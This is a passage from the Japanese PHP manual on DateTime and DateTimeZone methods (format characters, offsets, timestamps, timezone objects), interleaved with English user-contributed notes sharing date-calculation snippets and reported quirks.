  }
  if($previous_month == 11 || $previous_month == 9 || $previous_month == 6 || $previous_month == 4) {
    return 30;
  }
  else if($previous_month == 2) {
    if(($current_year % 4) == 0) { //remainder 0 for leap years
      return 29;
    }
    else {
      return 28;
    }
  }
  else {
    return 31;
  }
}

function create_timespan_string($Y, $m, $d, $H, $i, $s)
{
  $timespan_string = '';
  $found_first_diff = false;
  if($Y >= 1) {
    $found_first_diff = true;
    $timespan_string .= pluralize($Y, 'year').' ';
  }
  if($m >= 1 || $found_first_diff) {
    $found_first_diff = true;
    $timespan_string .= pluralize($m, 'month').' ';
  }
  if($d >= 1 || $found_first_diff) {
    $found_first_diff = true;
    $timespan_string .= pluralize($d, 'day').' ';
  }
  if($H >= 1 || $found_first_diff) {
    $found_first_diff = true;
    $timespan_string .= pluralize($H, 'hour').' ';
  }
  if($i >= 1 || $found_first_diff) {
    $found_first_diff = true;
    $timespan_string .= pluralize($i, 'minute').' ';
  }
  if($found_first_diff) {
    $timespan_string .= 'and ';
  }
  $timespan_string .= pluralize($s, 'second');
  return $timespan_string;
}

function pluralize( $count, $text )
{
  return $count . ( ( $count == 1 ) ? ( " $text" ) : ( " ${text}s" ) );
}
?>
toreskobba at gmail dot com 10-Nov-2011 03:24
When using datediff make sure your time zone is correct, for me on Windows 7 64 bit it behaved very strange when timezone was wrong (I was comparing now against time in database and exif metadata in photos). For example: date_default_timezone_set('Europe/Oslo');
astagl at gmail dot com 09-Nov-2011 08:21
I needed to get the exact number of days between 2 dates and was relying on the this diff function, but found that I was getting a peculiar result with:

<?php
    $today = new DateTime(date('2011-11-09'));
    $appt  = new DateTime(date('2011-12-09'));
    $days_until_appt = $appt->diff($today)->d;
?>

This was returning 0 because it was exactly one month.

I had to end up using :

<?php
    $days_until_appt = $appt->diff($today)->days;
?>

to get 30.
Anonymous 03-Oct-2011 08:12
$dateTime = new DateTime('2011-08-01 00:00:00');
echo $dateTime->diff(new DateTime('2011-10-01 00:00:01'))->format('%m');

will return 1, instead of 2 ...
milespickens+php at gmail dot com 16-May-2011 03:00
I was looking for a way to output X number of days from a given date and didn't find exactly what I was looking for.  But I got this working.  I hope this helps you.

This will output the number of days,months, or years difference between NOW and a April 1st, 2011.

<?php
    $date1 = new DateTime('2011-04-01');
    $date2 = new DateTime("now");
    $interval = $date1->diff($date2);
    $years = $interval->format('%y');
    $months = $interval->format('%m');
    $days = $interval->format('%d');
    if($years!=0){
        $ago = $years.' year(s) ago';
    }else{
        $ago = ($months == 0 ? $days.' day(s) ago' : $months.' month(s) ago');
    }
    echo $ago;
?>

If I used today, 2011-05-16 as $date1, I could return all 0's in the format.  For example....

<?php
        $date1 = new DateTime('2011-05-161');
    $date2 = new DateTime("now");
    $interval = $date1->diff($date2);
    $diff = $interval->format('%y-%m-%d');
    echo $diff;  //Today, this will output 0-0-0
?>
Grgoire Marchal 18-Feb-2011 02:22
Warning, there's a bug on windows platforms: the result is always 6015 days (and not 42...)

http://bugs.php.net/bug.php?id=51184
schindhelm at gmail dot com 21-Jan-2011 12:48
I found that DateTime::diff isn't as accurate as I thought. I calculated the age gap between now and a birthdate from before 1970 (unix epoch). Here's what I got:

Given today is January 21st, 2011:

<?php
date_default_timezone_set('Europe/Berlin');

// birthdate format is YYYY-MM-DD
$birth = new DateTime('1966-01-21');
$today = new DateTime();
$diff = $birth->diff($today);
echo $diff->format('%y'); // will output 45

$birth = new DateTime('1966-01-23');
$today = new DateTime();
$diff = $birth->diff($today);
echo $diff->format('%y'); // will output 45 wrongly

$birth = new DateTime('1966-01-24'); // three days difference!
$today = new DateTime();
$diff = $birth->diff($today);
echo $diff->format('%y'); // will output 44 - correct
?>

When calculating with the date() function it was more accurate (didn't use seconds/hours for comparison).

Note that 3 days may be a lot if you want to create invoices and have to check against a given age to determine if the customer is chargable for taxes and so on.

If someone also found this behaviour I'd like to hear about it - give me a quick mail at schindhelm (at) gmail (dot) com.
Thanks.
acrion at gmail dot com 13-May-2010 08:52
If you want to quickly scan through the resulting intervals, you can use the undocumented properties of DateInterval.

The function below returns a single number of years, months, days, hours, minutes or seconds between the current date and the provided date.  If the date occurs in the past (is negative/inverted), it suffixes it with 'ago'.

<?php
function pluralize( $count, $text )
{
    return $count . ( ( $count == 1 ) ? ( " $text" ) : ( " ${text}s" ) );
}

function ago( $datetime )
{
    $interval = date_create('now')->diff( $datetime );
    $suffix = ( $interval->invert ? ' ago' : '' );
    if ( $v = $interval->y >= 1 ) return pluralize( $interval->y, 'year' ) . $suffix;
    if ( $v = $interval->m >= 1 ) return pluralize( $interval->m, 'month' ) . $suffix;
    if ( $v = $interval->d >= 1 ) return pluralize( $interval->d, 'day' ) . $suffix;
    if ( $v = $interval->h >= 1 ) return pluralize( $interval->h, 'hour' ) . $suffix;
    if ( $v = $interval->i >= 1 ) return pluralize( $interval->i, 'minute' ) . $suffix;
    return pluralize( $interval->s, 'second' ) . $suffix;
}
?>
Dennis C 09-May-2010 11:24
For those like me who don't yet have PHP 5.3 installed on their host, here's a simple alternative to get the number of days between two dates in the format '2010-3-23' or similar acceptable to strtotime().  You need PHP 5.2.

<?php
function date_diff($date1, $date2) {
    $current = $date1;
    $datetime2 = date_create($date2);
    $count = 0;
    while(date_create($current) < $datetime2){
        $current = gmdate("Y-m-d", strtotime("+1 day", strtotime($current)));
        $count++;
    }
    return $count;
}

echo (date_diff('2010-3-9', '2011-4-10')." days <br \>");
?>
Anonymous 04-Aug-2009 05:17
You don't need to calculate the exact difference if you just want to know what date comes earlier:

<?php

date_default_timezone_set('Europe/Madrid');

$d1 = new DateTime('1492-01-01');
$d2 = new DateTime('1492-12-31');

var_dump($d1 < $d2);
var_dump($d1 > $d2);
var_dump($d1 == $d2);

?>

bool(true)
bool(false)
bool(false)


指定した書式でフォーマットした日付を返す

  • ≪ DateTime::diff
  • DateTime::getOffset ≫
  • PHP Manual
  • DateTimeInterface
  • 指定した書式でフォーマットした日付を返す

DateTime::format

DateTimeImmutable::format

DateTimeInterface::format

date_format

(PHP 5 >= 5.2.1, PHP 7, PHP 8)

DateTime::format -- DateTimeImmutable::format -- DateTimeInterface::format -- date_format — 指定した書式でフォーマットした日付を返す

説明

オブジェクト指向型

public DateTime::format ( string $format ) : string
public DateTimeImmutable::format ( string $format ) : string
public DateTimeInterface::format ( string $format ) : string

手続き型

date_format ( DateTimeInterface $object , string $format ) : string

指定した書式でフォーマットした日付を返します。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト

format

出力される日付文字列の書式。以下のオプションを参照ください。 定義済みの定数 も用意されており、たとえば DATE_RSS はフォーマット文字列 'D, d M Y H:i:s' と同じ意味になります。

以下の文字が format パラメータ文字列として認識されます
format 文字 | 説明 | 戻り値の例
日 --- ---
d | 日。二桁の数字（先頭にゼロがつく場合も） | 01 から 31
D | 曜日。3文字のテキスト形式。 | Mon から Sun
j | 日。先頭にゼロをつけない。 | 1 から 31
l (小文字の 'L') | 曜日。フルスペル形式。 | Sunday から Saturday
N | ISO-8601 形式の、曜日の数値表現 | 1（月曜日）から 7（日曜日）
S | 英語形式の序数を表すサフィックス。2 文字。 | st, nd, rd または th。 jと一緒に使用する ことができる。
w | 曜日。数値。 | 0 (日曜)から 6 (土曜)
z | 年間の通算日。数字。(ゼロから開始) | 0 から 365
週 --- ---
W | ISO-8601 月曜日に始まる年単位の週番号 | 例: 42 (年の第 42 週目)
月 --- ---
F | 月。フルスペルの文字。 | January から December
m | 月。数字。先頭にゼロをつける。 | 01 から 12
M | 月。3 文字形式。 | Jan から Dec
n | 月。数字。先頭にゼロをつけない。 | 1 から 12
t | 指定した月の日数。 | 28 から 31
年 --- ---
L | 閏年であるかどうか。 | 1なら閏年。0なら閏年ではない。
o | ISO-8601 形式の週番号による年。これは Y ほぼ同じだが、ISO 週番号 （W）が前年あるいは翌年に属する場合はそちらの年を使うという点が異なる。 | 例: 1999 あるいは 2003
Y | 年。4 桁の数字。 | 例: 1999または2003
y | 年。2 桁の数字。 | 例: 99 または 03
時 --- ---
a | 午前または午後（小文字） | am または pm
A | 午前または午後（大文字） | AM または PM
B | Swatch インターネット時間 | 000 から 999
g | 時。12時間単位。先頭にゼロを付けない。 | 1 から 12
G | 時。24時間単位。先頭にゼロを付けない。 | 0 から 23
h | 時。数字。12 時間単位。 | 01 から 12
H | 時。数字。24 時間単位。 | 00 から 23
i | 分。先頭にゼロをつける。 | 00 から 59
s | 秒。先頭にゼロをつける。 | 00 から 59
u | マイクロ秒。 date() の場合、これは常に 000000 となることに注意しましょう。というのも、 この関数が受け取るパラメータは int 型だからです。 一方 DateTime をマイクロ秒つきで作成した場合は、 DateTime::format() はマイクロ秒にも対応しています。 | 例: 654321
v | ミリ秒 (PHP 7.0.0 で追加) uと同じ注釈が当てはまります。 | 例: 654
タイムゾーン --- ---
e | タイムゾーン識別子 | 例: UTC, GMT, Atlantic/Azores
I (大文字の i) | サマータイム中か否か | 1ならサマータイム中。 0ならそうではない。
O | グリニッジ標準時 (GMT) との時差。時間と分の間にコロンは入りません。 | 例: +0200
P | グリニッジ標準時 (GMT) との時差。時間と分をコロンで区切った形式 | 例: +02:00
p | P と同じですが、+00:00 ではなく Z を返します。 | 例: +02:00
T | タイムゾーンの略称 | 例: EST, MDT ...
Z | タイムゾーンのオフセット秒数。 UTC の西側のタイムゾーン用のオフセットは常に負です。そして、 UTC の東側のオフセットは常に正です。 | -43200 から 50400
全ての日付/時刻 --- ---
c | ISO 8601 日付 | 2004-02-12T15:19:21+00:00
r | » RFC 2822 フォーマットされた日付 | 例: Thu, 21 Dec 2000 16:01:07 +0200
U | Unix Epoch (1970 年 1 月 1 日 0 時 0 分 0 秒) からの秒数 | time() も参照

フォーマット文字列中の認識されない文字は、そのまま表示されます。 Z 形式は、 gmdate() で使用した場合、常に 0 を返します。

注意:

この関数が受け付けるのは int のタイムスタンプだけです。したがって、書式指定文字 u が有用となるのは date_create() で作成したタイムスタンプを用いて date_format() を使用した場合のみです。

返り値

成功した場合にフォーマット済みの日付文字列を返します。

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、失敗時に false を返していました。
8.0.0 | フォーマット文字 p が追加されました。

例

例1 DateTime::format() の例

オブジェクト指向型

<?php
$date = new DateTime('2000-01-01');
echo $date->format('Y-m-d H:i:s');
?>

手続き型

<?php
$date = date_create('2000-01-01');
echo date_format($date, 'Y-m-d H:i:s');
?>

上の例の出力は以下となります。

2000-01-01 00:00:00

注意

このメソッドはロケールを考慮しません。出力結果はすべて英語となります。

参考

  • date() - ローカルの日付/時刻を書式化する

User Contributed Notes

tuxedobob 05-Nov-2020 01:49
I'm actually not sure whether this is a bug, but here's something that tripped me up on PHP 7.3.

I have a date that looks like this: 'November 3, 2020 11:13 (CST)'

I tried to format it using this format string: 'F j, Y H:i (T)'

That didn't work.

What *did* work was the format string without the parentheses: 'F j, Y H:i T'.

This string also parsed the timezone when the time zone *didn't* have parentheses surrounding it: 'November 3, 2020 11:13 CST'.

It seems as though the T token is a little greedy with surrounding parentheses, so don't include them in your format string.
sparcbr at gmail dot com 27-Sep-2020 06:24
To add literal characteres youi can escape with backslash (\):

$date = new DateTime();
echo $date->format('Ymd\Thms');
info at ibusweb dot com 09-Mar-2019 10:12
$saved_time="2019-03-09 14:25:20";
    $formated_saved_time = new DateTime($saved_time);
    $current_time = new DateTime();
    $interval = $current_time->diff($formated_saved_time);

      if (!empty($interval->format('%a'))){
       $time_difference=$interval->format('%a days ago');
        } elseif ($formated_saved_time->format('d') != $current_time->format('d')){
             $time_difference="yesterday";
             }elseif (!empty($interval->format('%h'))){
                     $time_difference=$interval->format('%h hr, %i min ago');
                     } elseif (!empty($interval->format('%i'))){
                              $time_difference=$interval->format('%i min ago');
                              } elseif (!empty($interval->format('%s'))){
                                $time_difference=$interval->format('%s sec ago');
  }

output ----- posted 4 hr, 12 min ago at 2019-03-09 14:25:20

see the code in action here
https://eval.in/1081921
mesa dot fx at gmail dot com 17-Dec-2018 01:21
There is a bit confusing logic may appear using year week number:

<?php
echo (new \DateTime("2018-12-31 13:05:21"))->format("YW") . PHP_EOL;
?>

will output 201801, not 201901 nor 201852, because of strange ISO_8601-2004 standard: the  first  calendar  week  of  a  year  is  that  one  which  includes  the  first  Thursday  of  that  year, so this date (it is Monday) do belong to the first week of 2019 (this is why 'W' format gives 01), but internal timestamp is of 2018 (and 'Y' format obey this), therefore getting us unexpected result of 201801. So be careful when using this output with something important (i know projects where this was used to form MySQL partitions).
prussell at cloudworksconsulting dot com 15-Sep-2014 12:02
The udate function is a great start, but the formatting of the milliseconds is a little off. If it is within the first 100000 microseconds then the string will be less than 6 characters, so 0.012435 will appear as 0.12345. The revision below fixes this.

function udate($strFormat = 'u', $uTimeStamp = null)
{

    // If the time wasn't provided then fill it in
    if (is_null($uTimeStamp))
    {
        $uTimeStamp = microtime(true);
    }

    // Round the time down to the second
    $dtTimeStamp = floor($uTimeStamp);

    // Determine the millisecond value
    $intMilliseconds = round(($uTimeStamp - $dtTimeStamp) * 1000000);
    // Format the milliseconds as a 6 character string
    $strMilliseconds = str_pad($intMilliseconds, 6, '0', STR_PAD_LEFT);

    // Replace the milliseconds in the date format string
    // Then use the date function to process the rest of the string
    return date(preg_replace('`(?<!\\\\)u`', $strMilliseconds, $strFormat), $dtTimeStamp);
}
soul dot enforcer at gmail dot com 02-Apr-2014 12:48
For full reference of the supported format character and results,
see the documentation of date() :
http://www.php.net/manual/en/function.date.php
chris at codewiz dot biz 13-Feb-2014 02:47
I believe this is a bug but its note-worthy if it is intended (I am using PHP 5.5.3).

$ php --version

PHP Warning:  Module 'xdebug' already loaded in Unknown on line 0
PHP 5.5.3-1ubuntu2.1 (cli) (built: Dec 12 2013 04:24:35)
Copyright (c) 1997-2013 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2013 Zend Technologies
    with Xdebug v2.2.3, Copyright (c) 2002-2013, by Derick Rethans
    with Zend OPcache v7.0.3-dev, Copyright (c) 1999-2013, by Zend Technologies

What is happening:

DateTime()->format() will modify the timezone. So do not expect the public date property to be returned (format mask applied) based on the current public timezone property. format will decide that when calling ->format() it will use the server timezone which eliminates all usefulness of ->setTimezone().

<?php
            $nowUtc = new \DateTime( 'now',  new \DateTimeZone( 'UTC' ) );
            echo '$nowUtc'.PHP_EOL;
            var_dump($nowUtc);
            $nowUtc = new \DateTime( 'now',  new \DateTimeZone( 'UTC' ) );
            echo '$nowUtc->format(\'Y-m-d h:i:s\')'.PHP_EOL;
            var_dump($nowUtc->format('Y-m-d h:i:s'));
            $nowUtc->setTimezone( new \DateTimeZone( 'Australia/Sydney' ) );
            echo '$nowUtc->setTimezone( new \DateTimeZone( \'Australia/Sydney\' ) )'.PHP_EOL;
            var_dump($nowUtc);
            echo '$nowUtc->format(\'Y-m-d h:i:s\')'.PHP_EOL;
            var_dump($nowUtc->format('Y-m-d h:i:s'));exit;
?>

outputs;

$nowUtc

object(DateTime)[2607]
  public 'date' => string '2014-02-13 02:42:48' (length=19)
  public 'timezone_type' => int 3
  public 'timezone' => string 'UTC' (length=3)

$nowUtc->format('Y-m-d h:i:s')

string '2014-02-13 02:42:48' (length=19)

$nowUtc->setTimezone( new \DateTimeZone( 'Australia/Sydney' ) )

object(DateTime)[2608]
  public 'date' => string '2014-02-13 13:42:48' (length=19)
  public 'timezone_type' => int 3
  public 'timezone' => string 'Australia/Sydney' (length=16)

$nowUtc->format('Y-m-d h:i:s')

string '2014-02-13 01:42:48' (length=19) // expected 2014-02-13 13:42:48 based on Australia/Sydney - what is 2014-02-13 01:42:48 from anyway!
daysnine at gmail dot com 04-Nov-2013 11:02
Seems like datetime::format does not really support microseconds as the documentation under date suggest it will.

Here is some code to generate a datetime with microseconds and timezone:

private function udate($format = 'u', $utimestamp = null) {
        if (is_null($utimestamp))
            $utimestamp = microtime(true);

        $timestamp = floor($utimestamp);
        $milliseconds = round(($utimestamp - $timestamp) * 1000000);

        return date(preg_replace('`(?<!\\\\)u`', $milliseconds, $format), $timestamp);
    }

echo udate('Y-m-d H:i:s.u T');
// Will output something like: 2014-01-01 12:20:24.42342 CET
craig dot constable at gmail dot com 02-Mar-2012 04:24
Using a datetime field from a mysql database e.g. "2012-03-24 17:45:12"

<?php

$result = mysql_query("SELECT `datetime` FROM `table`");
$row = mysql_fetch_row($result);
$date = date_create($row[0]);

echo date_format($date, 'Y-m-d H:i:s');
#output: 2012-03-24 17:45:12

echo date_format($date, 'd/m/Y H:i:s');
#output: 24/03/2012 17:45:12

echo date_format($date, 'd/m/y');
#output: 24/03/12

echo date_format($date, 'g:i A');
#output: 5:45 PM

echo date_format($date, 'G:ia');
#output: 05:45pm

echo date_format($date, 'g:ia \o\n l jS F Y');
#output: 5:45pm on Saturday 24th March 2012

?>
ca at agercon dot dk 01-Jul-2011 08:16
The date_format can be use to get the last day of February:

<?php

function last_day_of_feb ($year) {
# The 0th day of a month is the same as the last day of the month before
        $ultimo_feb_str = $year . "-03-00";
        $ultimo_feb_date = date_create($ultimo_feb_str);
        $return = date_format($ultimo_feb_date, "Y-m-d");
        return $return;
}

echo last_day_of_feb(2011) . "\n"; # 2011-02-28
echo last_day_of_feb(2012) . "\n"; # 2011-02-29

?>


タイムゾーンのオフセットを返す

  • ≪ DateTime::format
  • DateTime::getTimestamp ≫
  • PHP Manual
  • DateTimeInterface
  • タイムゾーンのオフセットを返す

DateTime::getOffset

DateTimeImmutable::getOffset

DateTimeInterface::getOffset

date_offset_get

(PHP 5 >= 5.2.1, PHP 7, PHP 8)

DateTime::getOffset -- DateTimeImmutable::getOffset -- DateTimeInterface::getOffset -- date_offset_get — タイムゾーンのオフセットを返す

説明

オブジェクト指向型

public DateTime::getOffset ( ) : int
public DateTimeImmutable::getOffset ( ) : int
public DateTimeInterface::getOffset ( ) : int

手続き型

date_offset_get ( DateTime $object ) : int

タイムゾーンのオフセットを返します。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト

返り値

成功した場合には UTC からのタイムゾーンオフセット秒数、

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、失敗時に false を返していました。

例

例1 DateTime::getOffset() の例

オブジェクト指向型

<?php
$winter = new DateTime('2010-12-21', new DateTimeZone('America/New_York'));
$summer = new DateTime('2008-06-21', new DateTimeZone('America/New_York'));

echo $winter->getOffset() . "\n";
echo $summer->getOffset() . "\n";
?>

手続き型

<?php
$winter = date_create('2010-12-21', timezone_open('America/New_York'));
$summer = date_create('2008-06-21', timezone_open('America/New_York'));

echo date_offset_get($winter) . "\n";
echo date_offset_get($summer) . "\n";
?>

上の例の出力は以下となります。

-18000
-14400

Note: -18000 = -5 hours, -14400 = -4 hours.

User Contributed Notes

s7sunder at gmail dot com 09-Jan-2014 10:47
This will be useful for converting offset values into GMT format

<?php

  //target time zone
  $target_time_zone = new DateTimeZone('America/Los_Angeles');

  //find kolkata time
  $kolkata_date_time = new DateTime('now', $target_time_zone);

  //get the exact GMT format
  echo 'GMT '.$kolkata_date_time->format('P');


Unix タイムスタンプを取得する

  • ≪ DateTime::getOffset
  • DateTime::getTimezone ≫
  • PHP Manual
  • DateTimeInterface
  • Unix タイムスタンプを取得する

DateTime::getTimestamp

DateTimeImmutable::getTimestamp

DateTimeInterface::getTimestamp

date_timestamp_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::getTimestamp -- DateTimeImmutable::getTimestamp -- DateTimeInterface::getTimestamp -- date_timestamp_get — Unix タイムスタンプを取得する

説明

オブジェクト指向型

public DateTime::getTimestamp ( ) : int
public DateTimeImmutable::getTimestamp ( ) : int
public DateTimeInterface::getTimestamp ( ) : int|false

手続き型

date_timestamp_get ( DateTime $object ) : int

Unix タイムスタンプを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

その日付をあらわす Unix タイムスタンプを返します。

変更履歴

バージョン | 説明
8.0.0 | これらの関数は、失敗時に false を返さなくなりました。

例

例1 DateTime::getTimestamp() の例

オブジェクト指向型

<?php
$date = new DateTime();
echo $date->getTimestamp();
?>

手続き型

<?php
$date = date_create();
echo date_timestamp_get($date);
?>

上の例の出力は、 たとえば以下のようになります。

1272509157

注意

PHP 5.2 では、 DateTime::format() のパラメータに U を使えば同じことができます。

参考

  • DateTime::setTimestamp() - Unix タイムスタンプを用いて日付と時刻を設定する
  • DateTime::format() - 指定した書式でフォーマットした日付を返す

User Contributed Notes

Julien Bornstein 05-May-2020 09:06
Please note that DateTime::gettimestamp() will return an integer, but DateTime::format("U") will return a string.

timestamp must always be typed as int because in PHP, timestamps are integers.

eg:
- strftime ( string $format [, int $timestamp = time() ] ) : string
- time() // return int
- ...

So IMHO, as PHP becomes more and more a typed language, avoid using DateTime::format("U") to avoid this kind of errors "strftime() expects parameter 2 to be int, string given"
heiccih at gmail dot com 10-Mar-2014 08:11
In 32-bit system the unix timestamp will overflow if the date goes beyond year 2038 and this method will return false. In 64-bit systems this function will still work as intended. For more information please see http://en.wikipedia.org/wiki/Year_2038_problem.
Justin Heesemann 11-Jun-2010 02:57
Note that for dates before the unix epoch getTimestamp() will return false, whereas format("U") will return a negative number.

<?php
$date = new DateTime("1899-12-31");
// "-2209078800"
echo $date->format("U");
// false
echo $date->getTimestamp();
?>


指定した DateTime に関連するタイムゾーンを返す

  • ≪ DateTime::getTimestamp
  • DateTime::__wakeup ≫
  • PHP Manual
  • DateTimeInterface
  • 指定した DateTime に関連するタイムゾーンを返す

DateTime::getTimezone

DateTimeImmutable::getTimezone

DateTimeInterface::getTimezone

date_timezone_get

(PHP 5 >= 5.2.1, PHP 7, PHP 8)

DateTime::getTimezone -- DateTimeImmutable::getTimezone -- DateTimeInterface::getTimezone -- date_timezone_get — 指定した DateTime に関連するタイムゾーンを返す

説明

オブジェクト指向型

public DateTime::getTimezone ( ) : DateTimeZone|false
public DateTimeImmutable::getTimezone ( ) : DateTimeZone|false
public DateTimeInterface::getTimezone ( ) : DateTimeZone|false

手続き型

date_timezone_get ( DateTime $object ) : DateTimeZone|false

指定した DateTime に関連するタイムゾーンを返します。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト

返り値

成功した場合に DateTimeZone オブジェクト、失敗した場合に false を返します。

例

例1 DateTime::getTimezone() の例

オブジェクト指向型

<?php
$date = new DateTime(null, new DateTimeZone('Europe/London'));
$tz = $date->getTimezone();
echo $tz->getName();
?>

手続き型

<?php
$date = date_create(null, timezone_open('Europe/London'));
$tz = date_timezone_get($date);
echo timezone_name_get($tz);
?>

上の例の出力は以下となります。

Europe/London

参考

  • DateTime::setTimezone() - DateTime オブジェクトのタイムゾーンを設定する

User Contributed Notes

There are no user contributed notes for this page.


__wakeup ハンドラ

  • ≪ DateTime::getTimezone
  • DateTimeZone ≫
  • PHP Manual
  • DateTimeInterface
  • __wakeup ハンドラ

DateTime::__wakeup

DateTimeImmutable::__wakeup

DateTimeInterface::__wakeup

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::__wakeup -- DateTimeImmutable::__wakeup -- DateTimeInterface::__wakeup — __wakeup ハンドラ

説明

public DateTime::__wakeup ( ) : void
public DateTimeImmutable::__wakeup ( ) : void
public DateTimeInterface::__wakeup ( ) : void

__wakeup() を処理します。

パラメータ

この関数にはパラメータはありません。

返り値

DateTime オブジェクトを初期化します。

User Contributed Notes

prikkeldraad at gmail dot com 19-Jun-2009 08:14
If you use a version prior to 5.3 you can make __wakeup and __toString work using the following piece of code.

<?php
class ExtendedDateTime extends DateTime {
    private $_date_time;

    public function __toString() {
        return $this->format('c'); // format as ISO 8601
    }

    public function __sleep() {
        $this->_date_time = $this->format('c');
        return array('_date_time');
    }

    public function __wakeup() {
        $this->__construct($this->_date_time);
    }
}
?>

Hope this helps someone.


DateTimeZone クラス

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

はじめに

タイムゾーンをあらわします。

クラス概要

DateTimeZone {
/* 定数 */
const int AFRICA = 1 ;
const int AMERICA = 2 ;
const int ANTARCTICA = 4 ;
const int ARCTIC = 8 ;
const int ASIA = 16 ;
const int ATLANTIC = 32 ;
const int AUSTRALIA = 64 ;
const int EUROPE = 128 ;
const int INDIAN = 256 ;
const int PACIFIC = 512 ;
const int UTC = 1024 ;
const int ALL = 2047 ;
const int ALL_WITH_BC = 4095 ;
const int PER_COUNTRY = 4096 ;
/* メソッド */
public __construct ( string $timezone )
public getLocation ( ) : array|false
public getName ( ) : string
public getOffset ( DateTimeInterface $datetime ) : int
public getTransitions ( int $timestampBegin = PHP_INT_MIN , int $timestampEnd = PHP_INT_MAX ) : array|false
public static listAbbreviations ( ) : array
public static listIdentifiers ( int $timezoneGroup = DateTimeZone::ALL , string|null $countryCode = null ) : array
}

定義済み定数

DateTimeZone::AFRICA

アフリカのタイムゾーン。

DateTimeZone::AMERICA

アメリカのタイムゾーン。

DateTimeZone::ANTARCTICA

南極のタイムゾーン。

DateTimeZone::ARCTIC

北極のタイムゾーン。

DateTimeZone::ASIA

アジアのタイムゾーン。

DateTimeZone::ATLANTIC

大西洋のタイムゾーン。

DateTimeZone::AUSTRALIA

オーストラリアのタイムゾーン。

DateTimeZone::EUROPE

ヨーロッパのタイムゾーン。

DateTimeZone::INDIAN

インドのタイムゾーン。

DateTimeZone::PACIFIC

太平洋のタイムゾーン。

DateTimeZone::UTC

UTC タイムゾーン。

DateTimeZone::ALL

すべてのタイムゾーン。

DateTimeZone::ALL_WITH_BC

過去との互換性を保つものを含むすべてのタイムゾーン。

DateTimeZone::PER_COUNTRY

国ごとのタイムゾーン。

目次

  • DateTimeZone::__construct — 新しい DateTimeZone オブジェクトを作成する
  • DateTimeZone::getLocation — タイムゾーンの位置情報を返す
  • DateTimeZone::getName — タイムゾーンの名前を返す
  • DateTimeZone::getOffset — GMT からのタイムゾーンのオフセットを返す
  • DateTimeZone::getTransitions — タイムゾーンの変遷を返す
  • DateTimeZone::listAbbreviations — 夏時間、オフセットおよびタイムゾーン名を含む連想配列を返す
  • DateTimeZone::listIdentifiers — すべてのタイムゾーン識別子を含む配列を返す

User Contributed Notes

bradm at inmotionhosting dot com 28-Mar-2018 01:43
Seems like a significant differences between php 5.3 and 5.6:

php -r "new DateTimeZone( '-0400' );"
-------------                        --------------
- PHP 5.3.3 -                        - PHP 5.6.30 -
-------------                        --------------
DateTimeZone::__construct():        Works as expected.
Unknown or bad timezone (-0400)

php -r '$tz = new DateTimeZone( "EDT" ); echo $tz->getName();';
-------------                        --------------
- PHP 5.3.3 -                        - PHP 5.6.30 -
-------------                        --------------
America/New_York                    EDT

php -r '$tz = new DateTimeZone( "EDT" ); echo $tz->getName();';
-------------                        --------------
- PHP 5.3.3 -                        - PHP 5.6.30 -
-------------                        --------------
DateTimeZone Object                DateTimeZone Object
(                                    (
)                                    [timezone_type] => 2
                                    [timezone] => EDT
                                    )
ryan at amst dot com 21-Aug-2015 07:45
It seems like as of PHP 5.5, creating a new DateTimeZone with a string like 'EDT' will cause DateTimeZone::getName() to return 'EDT' whereas prior to 5.5 it would convert it would have returned 'America/New_York'

This is of particular note when using a DateTimeZone object to change the timezone on a DateTime object.  Using a DateTimeZone object when set as shown above will cause the conversion to be wrong without throwing any errors.


新しい DateTimeZone オブジェクトを作成する

  • ≪ DateTimeZone
  • DateTimeZone::getLocation ≫
  • PHP Manual
  • DateTimeZone
  • 新しい DateTimeZone オブジェクトを作成する

DateTimeZone::__construct

timezone_open

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::__construct -- timezone_open — 新しい DateTimeZone オブジェクトを作成する

説明

オブジェクト指向型

public DateTimeZone::__construct ( string $timezone )

手続き型

timezone_open ( string $timezone ) : DateTimeZone|false

新しい DateTimeZone オブジェクトを作成します。

パラメータ

timezone

サポートするタイムゾーン名のいずれか、 またはオフセット値 (+0200)。

返り値

成功した場合に DateTimeZone を返します。 手続き型 の場合は、失敗したときに false を返します。

エラー / 例外

このメソッドは、指定したタイムゾーンが無効な形式だった場合に Exception をスローします。

変更履歴

バージョン | 説明
5.5.10 | timezone パラメータは、オフセット値を受け付けます。

例

例1 DateTimeZone のインスタンスを作成する際のエラー処理

<?php
// エラー処理は、例外をキャッチすることで行います
$timezones = array('Europe/London', 'Mars/Phobos', 'Jupiter/Europa');

foreach ($timezones as $tz) {
    try {
        $mars = new DateTimeZone($tz);
    } catch(Exception $e) {
        echo $e->getMessage() . '<br />';
    }
}
?>

上の例の出力は以下となります。

DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone (Mars/Phobos)
DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone (Jupiter/Europa)

User Contributed Notes

There are no user contributed notes for this page.


タイムゾーンの位置情報を返す

  • ≪ DateTimeZone::__construct
  • DateTimeZone::getName ≫
  • PHP Manual
  • DateTimeZone
  • タイムゾーンの位置情報を返す

DateTimeZone::getLocation

timezone_location_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTimeZone::getLocation -- timezone_location_get — タイムゾーンの位置情報を返す

説明

オブジェクト指向型

public DateTimeZone::getLocation ( ) : array|false

手続き型

timezone_location_get ( DateTimeZone $object ) : array|false

タイムゾーンの位置情報 (国コード、緯度/経度、コメント) を返します。

パラメータ

object

手続き型のみ: timezone_open() が返す DateTimeZone オブジェクト

返り値

タイムゾーンについての位置情報を含む配列を返します。失敗した場合に false を返します

例

例1 DateTimeZone::getLocation() の例

<?php
$tz = new DateTimeZone("Europe/Prague");
print_r($tz->getLocation());
print_r(timezone_location_get($tz));
?>

上の例の出力は以下となります。

Array
(
    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)
Array
(
    [country_code] => CZ
    [latitude] => 50.08333
    [longitude] => 14.43333
    [comments] =>
)

User Contributed Notes

